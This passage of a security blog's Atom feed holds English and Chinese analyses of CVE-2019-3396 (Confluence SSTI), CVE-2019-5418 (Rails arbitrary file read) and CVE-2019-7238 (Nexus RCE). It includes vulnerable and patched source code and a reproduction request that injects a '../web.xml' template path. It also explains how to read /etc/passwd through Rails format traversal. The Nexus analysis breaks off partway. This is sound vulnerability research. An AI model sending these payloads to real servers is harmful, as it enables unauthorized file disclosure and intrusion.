      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="路径穿越" scheme="http://chybeta.github.io/tags/%E8%B7%AF%E5%BE%84%E7%A9%BF%E8%B6%8A/"/>
    
      <category term="任意文件读取" scheme="http://chybeta.github.io/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/"/>
    
      <category term="java" scheme="http://chybeta.github.io/tags/java/"/>
    
      <category term="spring" scheme="http://chybeta.github.io/tags/spring/"/>
    
  </entry>
  
  <entry>
    <title>【CVE-2019-3396】:SSTI and RCE in Confluence Server via Widget Connector</title>
    <link href="http://chybeta.github.io/2019/04/06/Analysis-for-%E3%80%90CVE-2019-3396%E3%80%91-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/"/>
    <id>http://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/</id>
    <published>2019-04-06T05:57:12.000Z</published>
    <updated>2019-04-08T09:25:37.791Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://twitter.com/chybeta" target="_blank" rel="external">Twitter: chybeta</a><br><a id="more"></a></p>
<h1 id="Security-Advisory"><a href="#Security-Advisory" class="headerlink" title="Security Advisory"></a>Security Advisory</h1><p><a href="https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html" target="_blank" rel="external">https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html</a></p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190406/1.jpg?raw=true" alt=""></p>
<h1 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h1><p>According to the <a href="https://confluence.atlassian.com/doc/widget-connector-macro-171180449.html" target="_blank" rel="external">document</a> , there are three  parameters that you can set to control the content or format of the macro output, including URL、Width and Height.</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190406/2.png?raw=true" alt=""></p>
<p>the <code>Widget Connector</code>  has defind some renders. for example the <code>FriendFeedRenderer</code>:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">FriendFeedRenderer</span> <span class="keyword">implements</span> <span class="title">WidgetRenderer</span></span></div><div class="line">&#123;</div><div class="line">  ...</div><div class="line">  </div><div class="line">  <span class="function"><span class="keyword">public</span> String <span class="title">getEmbeddedHtml</span><span class="params">(String url, Map&lt;String, String&gt; params)</span> </span>&#123;</div><div class="line">    params.put(<span class="string">"_template"</span>, <span class="string">"com/atlassian/confluence/extra/widgetconnector/templates/simplejscript.vm"</span>);</div><div class="line">    <span class="keyword">return</span> <span class="keyword">this</span>.velocityRenderService.render(getEmbedUrl(url), params);</div><div class="line">  &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>In <code>FriendFeedRenderer</code>‘s <code>getEmbeddedHtml</code> function , you will see they put another option  <code>_template</code> into params map.</p>
<p>However, some other renderers, such as in <code>video</code> category , just call <code>render(getEmbedUrl(url), params)</code> directly<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190406/3.png?raw=true" alt=""></p>
<p>So in this situation, we can <code>&quot;offer&quot;</code> the <code>_template</code> ourseleves which the backend will use the params to render</p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190406/4.png?raw=true" alt=""></p>
<h1 id="Reproduce"><a href="#Reproduce" class="headerlink" title="Reproduce"></a>Reproduce</h1><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">POST /rest/tinymce/1/macro/preview HTTP/1.1</div><div class="line"></div><div class="line">&#123;&quot;contentId&quot;:&quot;65601&quot;,&quot;macro&quot;:&#123;&quot;name&quot;:&quot;widget&quot;,&quot;params&quot;:&#123;&quot;url&quot;:&quot;https://www.viddler.com/v/test&quot;,&quot;width&quot;:&quot;1000&quot;,&quot;height&quot;:&quot;1000&quot;,&quot;_template&quot;:&quot;../web.xml&quot;&#125;,&quot;body&quot;:&quot;&quot;&#125;&#125;</div></pre></td></tr></table></figure>
<p><img src="https://raw.githubusercontent.com/CHYbeta/chybeta.github.io/master/images/pic/20190406/5.jpg" alt=""></p>
<h1 id="RCE"><a href="#RCE" class="headerlink" title="RCE"></a>RCE</h1><h1 id="Patch"><a href="#Patch" class="headerlink" title="Patch"></a>Patch</h1><p>in fix version, it will call <code>doSanitizeParameters</code> before render html which will remove the <code>_template</code> in parameters. The code may like this:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">WidgetMacro</span></span></div><div class="line">  <span class="keyword">extends</span> <span class="title">BaseMacro</span></div><div class="line">  <span class="keyword">implements</span> <span class="title">Macro</span>, <span class="title">EditorImagePlaceholder</span></div><div class="line">&#123;</div><div class="line">  <span class="function"><span class="keyword">public</span> <span class="title">WidgetMacro</span><span class="params">(RenderManager renderManager, LocaleManager localeManager, I18NBeanFactory i18NBeanFactory)</span></span></div><div class="line">  &#123;</div><div class="line">    ...</div><div class="line">    <span class="keyword">this</span>.sanitizeFields = Collections.unmodifiableList(Arrays.asList(<span class="keyword">new</span> String[] &#123; <span class="string">"_template"</span> &#125;));</div><div class="line">  &#125;</div><div class="line">  </div><div class="line">  ...</div><div class="line"></div><div class="line">  <span class="function"><span class="keyword">public</span> String <span class="title">execute</span><span class="params">(Map&lt;String, String&gt; parameters, String body, ConversionContext conversionContext)</span> </span>&#123;</div><div class="line">    ...</div><div class="line">    doSanitizeParameters(parameters);</div><div class="line">    </div><div class="line">    <span class="keyword">return</span> <span class="keyword">this</span>.renderManager.getEmbeddedHtml(url, parameters);</div><div class="line">  &#125;</div><div class="line">  </div><div class="line">  <span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">doSanitizeParameters</span><span class="params">(Map&lt;String, String&gt; parameters)</span></span></div><div class="line">  &#123;</div><div class="line">    Objects.requireNonNull(parameters);</div><div class="line">    <span class="keyword">for</span> (String sanitizedParameter : <span class="keyword">this</span>.sanitizeFields) &#123;</div><div class="line">      parameters.remove(sanitizedParameter);</div><div class="line">    &#125;</div><div class="line">  &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://twitter.com/chybeta&quot;&gt;Twitter: chybeta&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="路径穿越" scheme="http://chybeta.github.io/tags/%E8%B7%AF%E5%BE%84%E7%A9%BF%E8%B6%8A/"/>
    
      <category term="任意文件读取" scheme="http://chybeta.github.io/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/"/>
    
      <category term="java" scheme="http://chybeta.github.io/tags/java/"/>
    
      <category term="confluence" scheme="http://chybeta.github.io/tags/confluence/"/>
    
      <category term="rce" scheme="http://chybeta.github.io/tags/rce/"/>
    
      <category term="ssti" scheme="http://chybeta.github.io/tags/ssti/"/>
    
  </entry>
  
  <entry>
    <title>Analysis for【CVE-2019-5418】File Content Disclosure on Rails</title>
    <link href="http://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/"/>
    <id>http://chybeta.github.io/2019/03/16/Analysis-for【CVE-2019-5418】File-Content-Disclosure-on-Rails/</id>
    <published>2019-03-16T02:34:38.000Z</published>
    <updated>2019-03-16T05:05:33.201Z</updated>
    
    <content type="html"><![CDATA[<p><a href="https://xz.aliyun.com/t/4448" target="_blank" rel="external">Chinese Edition: Ruby on Rails 路径穿越与任意文件读取漏洞分析 - 【CVE-2019-5418】</a><br><a id="more"></a></p>
<h1 id="Security-Advisory"><a href="#Security-Advisory" class="headerlink" title="Security Advisory"></a>Security Advisory</h1><p><a href="https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q" target="_blank" rel="external">https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q</a></p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190315/4.jpg?raw=true" alt=""></p>
<h1 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h1><p>The render method can use a view that’s entirely outside of your application. So in <code>actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22</code>, it will call <code>find_file</code> to determine which template to be rendered。<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">module</span> <span class="title">ActionView</span>   </span></div><div class="line">  <span class="class"><span class="keyword">class</span> <span class="title">TemplateRenderer</span> &lt; AbstractRenderer <span class="comment">#:nodoc:</span></span></div><div class="line">    <span class="comment"># Determine the template to be rendered using the given options.</span></div><div class="line">      <span class="function"><span class="keyword">def</span> <span class="title">determine_template</span><span class="params">(options)</span></span></div><div class="line">        keys = options.has_key?(<span class="symbol">:locals</span>) ? options[<span class="symbol">:locals</span>].keys : []</div><div class="line">        <span class="keyword">if</span> options.key?(<span class="symbol">:body</span>)</div><div class="line">          ...</div><div class="line">        <span class="keyword">elsif</span> options.key?(<span class="symbol">:file</span>)</div><div class="line">          with_fallbacks &#123; find_file(options[<span class="symbol">:file</span>], <span class="literal">nil</span>, <span class="literal">false</span>, keys, @details) &#125;</div><div class="line">        ...</div><div class="line">      <span class="keyword">end</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>In the <code>find_file</code> method:<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_file</span><span class="params">(name, prefixes = [], partial = <span class="literal">false</span>, keys = [], options = &#123;&#125;)</span></span></div><div class="line">    @view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))</div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>step into  <code>args_for_lookup</code> method which to generate the options. When it returns, our payload will be saved in <code>details[formats]</code> :<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190315/args_for_lookup.jpg?raw=true" alt=""></p>
<p>then it will execute <code>@view_paths.find_file</code> which located in <code>actionview-5.2.1/lib/action_view/path_set.rb</code>：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">PathSet</span> <span class="comment">#:nodoc:</span></span></div><div class="line">    <span class="function"><span class="keyword">def</span> <span class="title">find_file</span><span class="params">(path, prefixes = [], *args)</span></span></div><div class="line">      _find_all(path, prefixes, args, <span class="literal">true</span>).first <span class="params">||</span> raise(MissingTemplate.new(<span class="keyword">self</span>, path, prefixes, *args))</div><div class="line">    <span class="keyword">end</span></div><div class="line">    private</div><div class="line">        <span class="function"><span class="keyword">def</span> _find_all<span class="params">(path, prefixes, args, outside_app)</span></span></div><div class="line">            prefixes = [prefixes] <span class="keyword">if</span> String === prefixes</div><div class="line">            prefixes.each <span class="keyword">do</span> <span class="params">|prefix|</span></div><div class="line">            paths.each <span class="keyword">do</span> <span class="params">|resolver|</span></div><div class="line">                <span class="keyword">if</span> outside_app</div><div class="line">                  templates = resolver.find_all_anywhere(path, prefix, *args)</div><div class="line">                <span class="keyword">else</span></div><div class="line">                  templates = resolver.find_all(path, prefix, *args)</div><div class="line">                <span class="keyword">end</span></div><div class="line">                <span class="keyword">return</span> templates unless templates.empty?</div><div class="line">            <span class="keyword">end</span></div><div class="line">            <span class="keyword">end</span></div><div class="line">            []</div><div class="line">        <span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>Because the view is outside of your application，so <code>outside_app</code> equals<code>True</code> and then will call <code>find_all_anywhere</code><br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">find_all_anywhere</span><span class="params">(name, prefix, partial = <span class="literal">false</span>, details = &#123;&#125;, key = <span class="literal">nil</span>, locals = [])</span></span></div><div class="line">    cached(key, [name, prefix, partial], details, locals) <span class="keyword">do</span></div><div class="line">    find_templates(name, prefix, partial, details, <span class="literal">true</span>)</div><div class="line">    <span class="keyword">end</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>Skip <code>cached</code> part， the <code>find_templates</code> will according the options to find the template to render:</p>
<figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"> <span class="comment"># An abstract class that implements a Resolver with path semantics.</span></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">PathResolver</span> &lt; Resolver <span class="comment">#:nodoc:</span></span></div><div class="line">    EXTENSIONS = &#123; <span class="symbol">locale:</span> <span class="string">"."</span>, <span class="symbol">formats:</span> <span class="string">"."</span>, <span class="symbol">variants:</span> <span class="string">"+"</span>, <span class="symbol">handlers:</span> <span class="string">"."</span> &#125;</div><div class="line">    DEFAULT_PATTERN = <span class="string">":prefix/:action&#123;.:locale,&#125;&#123;.:formats,&#125;&#123;+:variants,&#125;&#123;.:handlers,&#125;"</span></div><div class="line"></div><div class="line">    ...</div><div class="line"></div><div class="line">    private</div><div class="line">        <span class="function"><span class="keyword">def</span> <span class="title">find_templates</span><span class="params">(name, prefix, partial, details, outside_app_allowed = <span class="literal">false</span>)</span></span></div><div class="line">            path = Path.build(name, prefix, partial)</div><div class="line">            <span class="comment"># 注意 details 与 details[:formats] 的传入</span></div><div class="line">            query(path, details, details[<span class="symbol">:formats</span>], outside_app_allowed)</div><div class="line">        <span class="keyword">end</span></div><div class="line"></div><div class="line">        <span class="function"><span class="keyword">def</span> <span class="title">query</span><span class="params">(path, details, formats, outside_app_allowed)</span></span></div><div class="line">            query = build_query(path, details)</div><div class="line">            template_paths = find_template_paths(query)</div><div class="line">            ...</div><div class="line">            <span class="keyword">end</span></div><div class="line">        <span class="keyword">end</span></div></pre></td></tr></table></figure>
<p>After <code>build_query</code> , the variables ：<br><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190315/2.jpg?raw=true" alt=""></p>
<p>SO here we use <code>../</code> to make directory traversal，and use double    <code>{</code> to make sure  syntax right. After <code>File.expand_path</code> , the result is:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">/etc/passwd&#123;&#123;&#125;,&#125;&#123;+&#123;&#125;,&#125;&#123;.&#123;raw,erb,html,builder,ruby,coffee,jbuilder&#125;,&#125;</div></pre></td></tr></table></figure>
<p>so the <code>/etc/passwd</code> will be treated the template to be rended ，which lead to a  arbitrary file read attack.</p>
<h1 id="Reproduce"><a href="#Reproduce" class="headerlink" title="Reproduce"></a>Reproduce</h1><p>install vulnerable Rails (e.g 5.2.1)<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"># echo &quot;gem &apos;rails&apos;, &apos;5.2.1&apos;&quot; &gt;&gt; Gemfile</div><div class="line"># echo &quot;gem &apos;sqlite3&apos;, &apos;~&gt; 1.3.6&apos;, &apos;&lt; 1.4&apos;&quot; &gt;&gt; Gemfile</div><div class="line"># echo &quot;source &apos;https://rubygems.org&apos;&quot; &gt;&gt; Gemfile</div><div class="line"># bundle exec rails new . --force --skip-bundle</div></pre></td></tr></table></figure></p>
<p>Generate controller:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"># rails generate controller chybeta</div></pre></td></tr></table></figure></p>
<p>In<code>app/controllers/chybeta_controller.rb</code> ：<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">ChybetaController</span> &lt; ApplicationController</span></div><div class="line">  <span class="function"><span class="keyword">def</span> <span class="title">index</span></span></div><div class="line">    render <span class="symbol">file:</span> <span class="string">"<span class="subst">#&#123;Rails.root&#125;</span>/some/file"</span></div><div class="line">  <span class="keyword">end</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p>add resources in <code>config/routes.rb</code>:<br><figure class="highlight ruby"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">Rails.application.routes.draw <span class="keyword">do</span></div><div class="line">  resources <span class="symbol">:chybeta</span></div><div class="line"><span class="keyword">end</span></div></pre></td></tr></table></figure></p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190315/2.gif?raw=true" alt=""></p>
<h1 id="Patch"><a href="#Patch" class="headerlink" title="Patch"></a>Patch</h1><p><a href="https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715" target="_blank" rel="external">https://github.com/rails/rails/commit/f4c70c2222180b8d9d924f00af0c7fd632e26715</a></p>
<p><img src="https://github.com/CHYbeta/chybeta.github.io/blob/master/images/pic/20190315/3.jpg?raw=true" alt=""></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/4448&quot;&gt;Chinese Edition: Ruby on Rails 路径穿越与任意文件读取漏洞分析 - 【CVE-2019-5418】&lt;/a&gt;&lt;br&gt;
    
    </summary>
    
      <category term="Web Security" scheme="http://chybeta.github.io/categories/Web-Security/"/>
    
    
      <category term="ruby" scheme="http://chybeta.github.io/tags/ruby/"/>
    
      <category term="代码审计" scheme="http://chybeta.github.io/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="rails" scheme="http://chybeta.github.io/tags/rails/"/>
    
      <category term="路径穿越" scheme="http://chybeta.github.io/tags/%E8%B7%AF%E5%BE%84%E7%A9%BF%E8%B6%8A/"/>
    
      <category term="任意文件读取" scheme="http://chybeta.github.io/tags/%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/"/>
    
  </entry>
  
  <entry>
    <title>Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】</title>
    <link href="http://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-%E5%88%86%E6%9E%90-%E3%80%90CVE-2019-7238%E3%80%91/"/>
    <id>http://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-分析-【CVE-2019-7238】/</id>
    <published>2019-02-18T13:49:10.000Z</published>
    <updated>2019-02-20T02:35:50.092Z</updated>
    
    <content type="html"><![CDATA[<p>中文版本：<a href="https://xz.aliyun.com/t/4136" target="_blank" rel="external">chinese edition</a><br><a id="more"></a></p>
<h1 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h1><p><a href="https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019" target="_blank" rel="external">https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019</a> </p>
<p>Affected Versions:  Nexus Repository Manager 3.6.2 OSS/Pro versions up to and including 3.14.0</p>
<p>Fixed in Version:  Nexus Repository Manager OSS/Pro version 3.15.0</p>
<p>Nice find from Rico @ Tencent Security Yunding Lab and voidfyoo @ Chaitin Tech </p>
<h1 id="Analysis"><a href="#Analysis" class="headerlink" title="Analysis"></a>Analysis</h1><p>In <code>plugins/nexus-coreui-plugin/src/main/java/org/sonatype/nexus/coreui/ComponentComponent.groovy:185</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div></pre></td><td class="code"><pre><div class="line"></div><div class="line"><span class="meta">@Named</span></div><div class="line"><span class="meta">@Singleton</span></div><div class="line"><span class="meta">@DirectAction</span>(action = <span class="string">'coreui_Component'</span>)</div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">ComponentComponent</span></span></div><div class="line">    <span class="keyword">extends</span> <span class="title">DirectComponentSupport</span></div><div class="line">&#123;</div><div class="line">    ...</div><div class="line"></div><div class="line">    <span class="meta">@DirectMethod</span></div><div class="line">    <span class="meta">@Timed</span></div><div class="line">    <span class="meta">@ExceptionMetered</span></div><div class="line">    <span class="function">PagedResponse&lt;AssetXO&gt; <span class="title">previewAssets</span><span class="params">(<span class="keyword">final</span> StoreLoadParameters parameters)</span> </span>&#123;</div><div class="line"></div><div class="line">        String repositoryName = parameters.getFilter(<span class="string">'repositoryName'</span>)</div><div class="line">        String expression = parameters.getFilter(<span class="string">'expression'</span>)</div><div class="line">        String type = parameters.getFilter(<span class="string">'type'</span>)</div><div class="line">        <span class="comment">// get three parameters repositoryName 、 expression 、 type</span></div><div class="line"></div><div class="line">        <span class="keyword">if</span> (!expression || !type || !repositoryName) &#123;</div><div class="line">        <span class="keyword">return</span> <span class="keyword">null</span></div><div class="line">        &#125;</div><div class="line"></div><div class="line">        <span class="comment">// set the repositoryName</span></div><div class="line">        RepositorySelector repositorySelector = RepositorySelector.fromSelector(repositoryName)</div><div class="line"></div><div class="line">        <span class="comment">// according the type to get validator</span></div><div class="line">        <span class="keyword">if</span> (type == JexlSelector.TYPE) &#123;</div><div class="line">            jexlExpressionValidator.validate(expression)</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">else</span> <span class="keyword">if</span> (type == CselSelector.TYPE) &#123;</div><div class="line">            cselExpressionValidator.validate(expression)</div><div class="line">        &#125;</div><div class="line"></div><div class="line">        List&lt;Repository&gt; selectedRepositories = getPreviewRepositories(repositorySelector)</div><div class="line">        <span class="keyword">if</span> (!selectedRepositories.size()) &#123;</div><div class="line">            <span class="keyword">return</span> <span class="keyword">null</span></div><div class="line">        &#125;</div><div class="line"></div><div class="line">        def result = browseService.previewAssets(</div><div class="line">            repositorySelector,</div><div class="line">            selectedRepositories,</div><div class="line">            expression,</div><div class="line">            toQueryOptions(parameters))</div><div class="line">        <span class="keyword">return</span> <span class="keyword">new</span> PagedResponse&lt;AssetXO&gt;(</div><div class="line">            result.total,</div><div class="line">            result.results.collect(ASSET_CONVERTER.rcurry(<span class="keyword">null</span>, <span class="keyword">null</span>, [:], <span class="number">0</span>)) <span class="comment">// buckets not needed for asset preview screen</span></div><div class="line">        )</div><div class="line">    &#125; </div><div class="line">    ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
<p>Nexus introduced CSEL based selectors to support changes coming in future releases. CSEL is a light version of JEXL used to script queries along specific paths and coordinates available to your repository manager formats. Step in <code>browseService.previewAssets</code>，and its implementations in <code>components/nexus-repository/src/main/java/org/sonatype/nexus/repository/browse/internal/BrowseServiceImpl.java:233</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div></pre></td><td class="code"><pre><div class="line"><span class="meta">@Named</span></div><div class="line"><span class="meta">@Singleton</span></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">BrowseServiceImpl</span></span></div><div class="line">    <span class="keyword">extends</span> <span class="title">ComponentSupport</span></div><div class="line">    <span class="keyword">implements</span> <span class="title">BrowseService</span></div><div class="line">&#123;</div><div class="line">  ...</div><div class="line">  <span class="meta">@Override</span></div><div class="line">  <span class="function"><span class="keyword">public</span> BrowseResult&lt;Asset&gt; <span class="title">previewAssets</span><span class="params">(<span class="keyword">final</span> RepositorySelector repositorySelector,</span></span></div><div class="line">                                          <span class="keyword">final</span> List&lt;Repository&gt; repositories,</div><div class="line">                                          <span class="keyword">final</span> String jexlExpression,</div><div class="line">                                          <span class="keyword">final</span> QueryOptions queryOptions)</div><div class="line">  &#123;</div><div class="line">    checkNotNull(repositories);</div><div class="line">    checkNotNull(jexlExpression);</div><div class="line">    <span class="keyword">final</span> Repository repository = repositories.get(<span class="number">0</span>);</div><div class="line">    <span class="keyword">try</span> (StorageTx storageTx = repository.facet(StorageFacet.class).txSupplier().get()) &#123;</div><div class="line">      storageTx.begin();</div><div class="line">      List&lt;Repository&gt; previewRepositories;</div><div class="line">      <span class="keyword">if</span> (repositories.size() == <span class="number">1</span> &amp;&amp; groupType.equals(repository.getType())) &#123;</div><div class="line">        previewRepositories = repository.facet(GroupFacet.class).leafMembers();</div><div class="line">      &#125;</div><div class="line">      <span class="keyword">else</span> &#123;</div><div class="line">        previewRepositories = repositories;</div><div class="line">      &#125;</div><div class="line"></div><div class="line">      PreviewAssetsSqlBuilder builder = <span class="keyword">new</span> PreviewAssetsSqlBuilder(</div><div class="line">          repositorySelector,</div><div class="line">          jexlExpression,</div><div class="line">          queryOptions,</div><div class="line">          getRepoToContainedGroupMap(repositories));</div><div class="line"></div><div class="line">      String whereClause = String.format(<span class="string">"and (%s)"</span>, builder.buildWhereClause());</div><div class="line"></div><div class="line">      <span class="comment">//The whereClause is passed in as the querySuffix so that contentExpression will run after repository filtering</span></div><div class="line">      <span class="keyword">return</span> <span class="keyword">new</span> BrowseResult&lt;&gt;(</div><div class="line">          storageTx.countAssets(<span class="keyword">null</span>, builder.buildSqlParams(), previewRepositories, whereClause),</div><div class="line">          Lists.newArrayList(storageTx.findAssets(<span class="keyword">null</span>, builder.buildSqlParams(),</div><div class="line">              previewRepositories, whereClause + builder.buildQuerySuffix()))</div><div class="line">      );</div><div class="line">    &#125;</div><div class="line">  &#125;</div><div class="line">  ...</div><div class="line">&#125;</div></pre></td></tr></table></figure></p>
